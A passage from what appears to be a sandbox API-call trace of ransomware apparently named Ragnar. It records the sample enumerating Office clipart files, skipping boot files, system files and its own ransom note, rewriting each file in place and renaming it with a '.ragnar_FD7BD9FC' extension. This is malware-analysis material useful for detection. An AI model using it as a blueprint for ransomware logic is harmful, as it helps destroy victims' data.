nNumberOfBytesToLockHigh=0x0) returned 1 [0089.713] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4090, lpOverlapped=0x0) returned 1 [0089.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4090, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.714] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4090, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.714] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.714] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.714] GetProcessHeap () returned 0x580000 [0089.714] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.714] CloseHandle (hObject=0xf4) returned 1 [0089.714] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" [0089.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ragnar_FD7BD9FC" [0089.715] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0089.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.715] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02287_.WMF" | out: lpString1="PE02287_.WMF") returned="PE02287_.WMF" [0089.715] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF") returned=".WMF" [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="autorun.inf") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="boot.ini") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="bootfont.bin") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="bootsect.bak") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="bootmgr") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="bootmgr.efi") returned 1 [0089.715] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="desktop.ini") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="iconcache.db") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="ntldr") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="ntuser.dat") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="ntuser.ini") returned 1 [0089.716] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="thumbs.db") returned -1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.716] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf")) returned 0x20 [0089.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.717] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17796) returned 1 [0089.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x457b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.717] GetProcessHeap () returned 0x580000 [0089.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.717] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.718] VirtualAlloc (lpAddress=0x0, dwSize=0x4584, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.719] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4584, lpOverlapped=0x0) returned 1 [0089.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4584, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.720] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4584, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4584, lpOverlapped=0x0) returned 1 [0089.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4584, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.720] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.720] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.720] GetProcessHeap () returned 0x580000 [0089.720] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.720] CloseHandle (hObject=0xf4) returned 1 [0089.721] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" [0089.721] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ragnar_FD7BD9FC" [0089.721] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.721] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0089.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.721] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02288_.WMF" | out: lpString1="PE02288_.WMF") returned="PE02288_.WMF" [0089.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF") returned=".WMF" [0089.721] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.721] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="autorun.inf") returned 1 [0089.721] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="boot.ini") returned 1 [0089.721] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="bootfont.bin") returned 1 [0089.721] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="bootsect.bak") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="bootmgr") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="bootmgr.efi") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="desktop.ini") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="iconcache.db") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="ntldr") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="ntuser.dat") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="ntuser.ini") returned 1 [0089.722] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="thumbs.db") returned -1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.722] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf")) returned 0x20 [0089.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.722] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30432) returned 1 [0089.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.723] GetProcessHeap () returned 0x580000 [0089.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.723] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.724] VirtualAlloc (lpAddress=0x0, dwSize=0x76e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.724] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x76e0, lpOverlapped=0x0) returned 1 [0089.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x76e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.726] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x76e0, lpOverlapped=0x0) returned 1 [0089.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x76e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.726] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.727] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.727] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.727] GetProcessHeap () returned 0x580000 [0089.727] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.727] CloseHandle (hObject=0xf4) returned 1 [0089.727] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" [0089.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ragnar_FD7BD9FC" [0089.727] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.728] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0089.728] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.728] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02293_.WMF" | out: lpString1="PE02293_.WMF") returned="PE02293_.WMF" [0089.728] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF") returned=".WMF" [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="autorun.inf") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="boot.ini") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="bootfont.bin") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="bootsect.bak") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="bootmgr") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="bootmgr.efi") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="desktop.ini") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="iconcache.db") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="ntldr") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="ntuser.dat") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="ntuser.ini") returned 1 [0089.728] lstrcmpiW (lpString1="PE02293_.WMF", lpString2="thumbs.db") returned -1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf")) returned 0x20 [0089.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.729] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22608) returned 1 [0089.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5847, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.729] GetProcessHeap () returned 0x580000 [0089.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.729] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.731] VirtualAlloc (lpAddress=0x0, dwSize=0x5850, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.731] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5850, lpOverlapped=0x0) returned 1 [0089.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.732] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5850, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.732] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5850, lpOverlapped=0x0) returned 1 [0089.732] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5850, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.732] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 